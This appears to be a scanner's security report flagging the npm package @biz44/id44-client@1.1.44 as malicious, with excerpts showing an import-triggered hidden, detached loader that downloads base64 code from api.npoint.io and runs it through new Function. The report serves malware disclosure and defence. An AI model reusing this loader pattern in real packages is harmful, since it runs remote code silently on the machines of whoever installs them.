@biz44/id44-client@1.1.44: Malicious npm security report (Block)

Loading npm security reports…

@biz44/id44-client@1.1.44: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

7 flagged

init.jsView file

1import { spawn } from 'child_process'; L2: import { dirname, join } from 'path';

High

Child Process

Package source references child process execution.

init.jsView on unpkg · L1

1Cross-file remote execution chain: init.js spawns loader.js; helper contains network access plus dynamic code execution. L1: import { spawn } from 'child_process'; L2: import { dirname, join } from 'path'; ... L5: L6: const __dirname = dirname(fileURLToPath(import.meta.url)); L7: const PID_FILE = join(__dirname, '.pid');

High

Cross File Remote Execution Context

Source spawns a local helper that also contains network and dynamic execution context; review data flow before blocking.

init.jsView on unpkg · L1

35const child = spawn('node', [LOADER], { stdio: ['ignore', 'ignore', 'ignore'], windowsHide: true, shell: false, cwd: __dirname, detached: true }); child.unref(); try { writeFileSync(PID_FILE, child.pid.toString());

High

Ai Review Evidence

Initialization launches a detached, hidden loader and records its PID.

init.jsView on unpkg · L35

loader.jsView file

1import https from "https"; L2: import { fileURLToPath } from "url"; ... L7: const __filename = fileURLToPath(import.meta.url); L8: const __dirname = dirname(__filename); L9: const require = createRequire(import.meta.url); ... L12: L13: // Intercept child_process require calls for Windows compatibility L14: const originalRequire = Module.prototype.require; ... L22: module.spawn = function(cmd, args, options = {}) { L23: if (process.platform === "win32" && !options.windowsHide) { L24: options.windowsHide = true; ... L31: const { spawnSync } = require('child_process');

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

loader.jsView on unpkg · L1

61https.get(API_KEY, (r) => { let d = ""; r.on("data", (c) => { d += c; }); r.on("end", () => { try { const json = JSON.parse(d); const code = json.code; if (!code) return; const decodedCode = Buffer.from(code, "base64").toString("utf8");

High

Ai Review Evidence

The loader fetches a remote response from api.npoint.io.

loader.jsView on unpkg · L61

75L76: new Function("require", "__dirname", "__filename", "module", "exports", decodedCode)( L77: require, __dirname, __filename, module, exports

Low

Eval

Package source references a known benign dynamic code generation pattern.

loader.jsView on unpkg · L75

index.jsView file

12import initialize from './init.js'; // Auto-start on import initialize();

High

Ai Review Evidence

Importing the main entry automatically starts initialization.

index.jsView on unpkg · L12

Source & flagged code

7 flagged · loading source

init.jsView file

1import { spawn } from 'child_process'; L2: import { dirname, join } from 'path';

High

Child Process

Package source references child process execution.

init.jsView on unpkg · L1

High

Cross File Remote Execution Context

Source spawns a local helper that also contains network and dynamic execution context; review data flow before blocking.

init.jsView on unpkg · L1

High

Ai Review Evidence

Initialization launches a detached, hidden loader and records its PID.

init.jsView on unpkg · L35

loader.jsView file

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

loader.jsView on unpkg · L1

High

Ai Review Evidence

The loader fetches a remote response from api.npoint.io.

loader.jsView on unpkg · L61

75L76: new Function("require", "__dirname", "__filename", "module", "exports", decodedCode)( L77: require, __dirname, __filename, module, exports

Low

Eval

Package source references a known benign dynamic code generation pattern.

loader.jsView on unpkg · L75

index.jsView file

12import initialize from './init.js'; // Auto-start on import initialize();

High

Ai Review Evidence

Importing the main entry automatically starts initialization.

index.jsView on unpkg · L12

Source & flagged code

7 flagged

init.jsView file

1import { spawn } from 'child_process'; L2: import { dirname, join } from 'path';

High

Child Process

Package source references child process execution.

init.jsView on unpkg · L1

High

Cross File Remote Execution Context

Source spawns a local helper that also contains network and dynamic execution context; review data flow before blocking.

init.jsView on unpkg · L1

High

Ai Review Evidence

Initialization launches a detached, hidden loader and records its PID.

init.jsView on unpkg · L35

loader.jsView file

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

loader.jsView on unpkg · L1

High

Ai Review Evidence

The loader fetches a remote response from api.npoint.io.

loader.jsView on unpkg · L61

75L76: new Function("require", "__dirname", "__filename", "module", "exports", decodedCode)( L77: require, __dirname, __filename, module, exports

Low

Eval

Package source references a known benign dynamic code generation pattern.

loader.jsView on unpkg · L75

index.jsView file

12import initialize from './init.js'; // Auto-start on import initialize();

High

Ai Review Evidence

Importing the main entry automatically starts initialization.

index.jsView on unpkg · L12

@biz44/id44-client@1.1.44

AI Security Review

OSV advisory

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Source & flagged code